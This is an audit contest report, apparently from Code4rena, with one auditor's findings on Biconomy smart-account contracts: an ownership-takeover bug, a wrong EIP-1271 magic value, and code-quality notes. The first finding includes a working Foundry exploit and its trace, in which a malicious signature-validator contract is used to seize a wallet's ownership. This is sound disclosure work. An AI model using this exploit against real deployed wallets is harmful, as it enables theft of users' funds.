Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 10/105
Findings: 3
Award: $925.81
🌟 Selected for report: 1
🚀 Solo Findings: 0
22.7235 USDC - $22.72
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317-L342 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L229 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L109-L114 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L82-L85
Any Malicious User can claim ownership of smartAccount.sol
contract and steal user fund via this contract.
Possible Exploit Scenario
File: contract/smart-contract/SmartAccount.sol
// onlyOwner OR self 82: modifier mixedAuth { 83: require(msg.sender == owner || msg.sender == address(this),"Only owner or self"); 84: _; 85: } 109: function setOwner(address _newOwner) external mixedAuth { 110: require(_newOwner != address(0), "Smart Account:: new Signatory address cannot be zero"); 111: address oldOwner = owner; 112: owner = _newOwner; 113: emit EOAChanged(address(this), oldOwner, _newOwner); 114: }
Here SetOwner
fucntion use mixedAuth
modifier means we Proxy
can change owner
of SmartAccount
. Malicious user can bypass checkSignature
function via malicious ERC1271 contract and execute
functionself
call and pass the mixAuth
modifier and change owner
of the SmartAccountProxy
.
Exploit Steps:
isValidSignature
function always return ERC1271_MAGIC_Value
execTransaction
functionexceTransaction
with _tx.to = proxyAddress
,_tx.data = abi.encode("setOwner(address)", maliciousOwner)
and signature= abi.encode(address(maliciousERC1271),65, uint8(0),0)
Diagram:
Foundry POC:
contract SmartAccountTest is Test { function setUp() public { } function testExploit() public { address owner = vm.addr(0x01); address maliciousOwner = vm.addr(0x02); Malicious_ERC1271 erc1271 = new Malicious_ERC1271(); // deploy malicious erc1271 contract always return erc1271_magic_value EntryPoint eP = new EntryPoint(); // entryPoint contract DefaultCallbackHandler handler = new DefaultCallbackHandler(); // callback handler SmartAccount implementation = new SmartAccount(); // deploy implementation SmartAccountFactory factory = new SmartAccountFactory(address(implementation)); // deploy factory SmartAccount proxyInstance; proxyInstance = SmartAccount(payable(address(factory.deployWallet(owner, address(eP), address(handler))))); assertEq(SmartAccount(proxyInstance).owner(), owner); Transaction memory _tx = Transaction({ to : address(proxyInstance), value : 0, data : abi.encodeWithSignature("setOwner(address)", maliciousOwner), operation : Enum.Operation.Call, targetTxGas: 0 }); FeeRefund memory refundInfo = FeeRefund({ baseGas: 21000, gasPrice: 0, tokenGasPriceFactor: 0, gasToken: address(0x00), refundReceiver: payable(address(0x00)) }); bytes memory sig = abi.encode(address(erc1271), 65, uint8(0), 0); uint256 batchId = 0; assertEq(SmartAccount(proxyInstance).owner(), owner); proxyInstance.execTransaction(_tx,batchId,refundInfo,sig); assertEq(SmartAccount(proxyInstance).owner(), maliciousOwner); } }
Output:
forge t -vvvv -m testExploit Running 1 test for test/SmartAccount.t.sol:SmartAccountTest [PASS] testExploit() (gas: 7179483) Traces: [98] SmartAccountTest::setUp() └─ ← () [7179483] SmartAccountTest::testExploit() ├─ [0] VM::addr(<pk>) [staticcall] │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf ├─ [0] VM::addr(<pk>) [staticcall] │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF ├─ [84535] → new Malicious_ERC1271@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f │ └─ ← 422 bytes of code ├─ [2808470] → new EntryPoint@0x2e234DAe75C793f67A35089C9d99245E1C58470b │ ├─ [99947] → new SenderCreator@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac │ │ └─ ← 499 bytes of code │ └─ ← 13367 bytes of code ├─ [284724] → new DefaultCallbackHandler@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a │ └─ ← 1422 bytes of code ├─ [3074781] → new SmartAccount@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 │ └─ ← 15357 bytes of code ├─ [482235] → new SmartAccountFactory@0xc7183455a4C133Ae270771860664b6B7ec320bB1 │ └─ ← 2407 bytes of code ├─ [232527] SmartAccountFactory::deployWallet(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, EntryPoint: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], DefaultCallbackHandler: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ ├─ [61529] → new Proxy@0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c │ │ └─ ← 195 bytes of code │ ├─ [114086] Proxy::init(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, EntryPoint: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], DefaultCallbackHandler: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) │ │ ├─ [113769] SmartAccount::init(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, EntryPoint: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], DefaultCallbackHandler: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [delegatecall] │ │ │ ├─ emit Initialized(version: 1) │ │ │ └─ ← () │ │ └─ ← () │ └─ ← Proxy: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c] ├─ [713] Proxy::owner() [staticcall] │ ├─ [405] SmartAccount::owner() [delegatecall] │ │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf ├─ [713] Proxy::owner() [staticcall] │ ├─ [405] SmartAccount::owner() [delegatecall] │ │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf │ └─ ← 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf ├─ [36750] Proxy::execTransaction((0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 0, 0x13af40350000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf, 0, 0), 0, (21000, 0, 0, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000), 0x0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f000000000000000000000000000000000000000000000000000000000000004100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ ├─ [36322] SmartAccount::execTransaction((0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 0, 0x13af40350000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf, 0, 0), 0, (21000, 0, 0, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000), 0x0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f000000000000000000000000000000000000000000000000000000000000004100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) [delegatecall] │ │ ├─ [1026] Malicious_ERC1271::isValidSignature(0x1901219fc1a1ee6258fd53d228782f56007c6e7466924ee67c25cf9c7647e9f987fbd06a39817f8a08b16a2d790315f55def5a2b576e28ccaf10fbde3069c7cf6c2d, 0x) [staticcall] │ │ │ └─ ← 0x20c13b0b │ │ ├─ [3104] Proxy::setOwner(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) │ │ │ ├─ [2796] SmartAccount::setOwner(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [delegatecall] │ │ │ │ ├─ emit EOAChanged(_scw: Proxy: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], _oldEOA: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, _newEOA: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) │ │ │ │ └─ ← () │ │ │ └─ ← () │ │ ├─ emit ExecutionSuccess(to: Proxy: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], value: 0, data: 0x13af40350000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf, operation: 0, txGas: 8937393460509776806) │ │ └─ ← true │ └─ ← true ├─ [713] Proxy::owner() [staticcall] │ ├─ [405] SmartAccount::owner() [delegatecall] │ │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF └─ ← () Test result: ok. 1 passed; 0 failed; finished in 2.26ms
Manual Review
Remove the mixAuth from the critical function or use onlyOwner can call erc1271 signature functionality
#0 - c4-judge
2023-01-17T07:04:59Z
gzeon-c4 marked the issue as duplicate of #175
#1 - c4-sponsor
2023-01-26T00:11:28Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:28:26Z
gzeon-c4 marked the issue as satisfactory
866.5899 USDC - $866.59
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/interfaces/ISignatureValidator.sol#L6 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/interfaces/ISignatureValidator.sol#L19 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342
As Per EIP-1271 standard ERC1271_MAGIC_VAULE
should be 0x1626ba7e
instead of 0x20c13b0b
and function name should be isValidSignature(bytes32,bytes)
instead of isValidSignature(bytes,bytes)
. Due to this, signature verifier contract go fallback function and return unexpected value and never return ERC1271_MAGIC_VALUE
and always revert execTransaction
function.
Manual Review
Follow EIP-1271 standard.
#0 - c4-judge
2023-01-17T07:17:31Z
gzeon-c4 marked the issue as duplicate of #370
#1 - c4-sponsor
2023-01-26T00:24:27Z
livingrockrises marked the issue as sponsor confirmed
#2 - livingrockrises
2023-01-26T00:24:46Z
this should be a seperate primary issue
#3 - c4-sponsor
2023-01-26T00:24:51Z
livingrockrises requested judge review
#4 - c4-judge
2023-02-10T11:39:55Z
gzeon-c4 marked the issue as selected for report
#5 - gzeon-c4
2023-02-10T11:40:30Z
Selected as best as this issue also mention the wrong function signature.
#6 - c4-judge
2023-02-10T12:17:52Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: 0xSmartContract
Also found by: 0x1f8b, 0xAgro, 0xdeadbeef0x, 0xhacksmithh, 2997ms, Atarpara, Bnke0x0, Diana, HE1M, IllIllI, Josiah, Kalzak, Lirios, MalfurionWhitehat, MyFDsYours, Raiders, RaymondFam, Rolezn, SaharDevep, Sathish9098, Udsen, Viktor_Cortess, adriro, ast3ros, betweenETHlines, btk, chaduke, chrisdior4, cryptostellar5, csanuragjain, giovannidisiena, gz627, hl_, horsefacts, joestakey, juancito, ladboy233, lukris02, nadin, oyc_109, pauliax, peanuts, prady, sorrynotsorry, zaskoh
36.5015 USDC - $36.50
ReentrancyGuardUpgradeable.sol
is recommend for the upgradble contract but SmartAccount.sol
is the non-upgradable contract so use only ReentrancyGuard.sol
.
FileName: scw-contract/contracts/smart-wallet-contract/SmartAccount.sol
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
FileName: scw-contract/contracts/smart-wallet-contract/base/Executor.sol
// Could add a flag fromEntryPoint for AA txn event ExecutionFailure(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas); event ExecutionSuccess(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas); // Could add a flag fromEntryPoint for AA txn
Solidity current lastest docs link is https://docs.soliditylang.org/en/v0.8.17/internals/layout_in_memory.html#layout-in-memory.
FileName: scw-contract/contracts/smart-wallet-contract/common/SecuredTokenTransfer.sol
// We write the return value to scratch space. // See https://docs.soliditylang.org/en/v0.7.6/internals/layout_in_memory.html#layout-in-memory
Please remove unimported lib opeartion
FileName: scw-contract/contracts/smart-wallet-contract/BaseSmartAccount.sol
using UserOperationLib for UserOperation;
FileName: scw-contract/contracts/smart-wallet-contract/interfaces/ISignatureValidator.sol
/** * @dev Should return whether the signature provided is valid for the provided data * @param _data Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * * MUST return the bytes4 magic value 0x20c13b0b when function passes. * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) * MUST allow external calls */
FileName: scw-contract/contracts/smart-wallet-contract/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol
// import "../samples/Signatures.sol";
// possibly // using Signatures for UserOperation;
FileName: scw-contract/contracts/smart-wallet-contract/paymasters/PaymasterHeplers.sol
//@review
FileName: scw-contract/contracts/smart-wallet-contract/SmartAccount.sol
// Storage
// review? if rename wallet to account is must
// review
// nice to have // event SmartAccountInitialized(IEntryPoint indexed entryPoint, address indexed owner);
//console.log("init %s", 21000 + msg.data.length * 8);
// uint256 extraGas; if (refundInfo.gasPrice > 0) { //console.log("sent %s", startGas - gasleft()); // extraGas = gasleft(); payment = handlePayment(startGas - gasleft(), refundInfo.baseGas, refundInfo.gasPrice, refundInfo.tokenGasPriceFactor, refundInfo.gasToken, refundInfo.refundReceiver); emit WalletHandlePayment(txHash, payment); } // extraGas = extraGas - gasleft(); //console.log("extra gas %s ", extraGas);
// init // Initialize / Setup // Used to setup // i. owner ii. entry point address iii. handler
// uint256 startGas = gasleft();
// uint256 requiredGas = startGas - gasleft(); //console.log("hp %s", requiredGas);
//console.log("hpr %s", requiredGas); // Convert response to string and return via error message
//@review
FileName: scw-contract/contracts/smart-wallet-contract/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol
import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts/utils/Address.sol";
Follow same same multi-line comment format in all contrats.
FileName: scw-contract/contracts/smart-wallet-contract/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol
Correct
/** * add a deposit for this paymaster and given paymasterId (Dapp Depositor address), used for paying for transaction fees */
Slightly mismatched
/** this function will let owner change signer */
FileName: scw-contract/contracts/smart-wallet-contract/paymasters/BasePaymaster.sol
/// validate the call is made from a valid entrypoint
FileName: scw-contract/contracts/smart-wallet-contract/SmartAccount.sol
Use same format for whole contact
Format code with forge fmt
or prettier
for all contracts.
#0 - c4-judge
2023-01-22T15:37:08Z
gzeon-c4 marked the issue as grade-b
#1 - c4-sponsor
2023-02-09T12:32:11Z
livingrockrises marked the issue as sponsor confirmed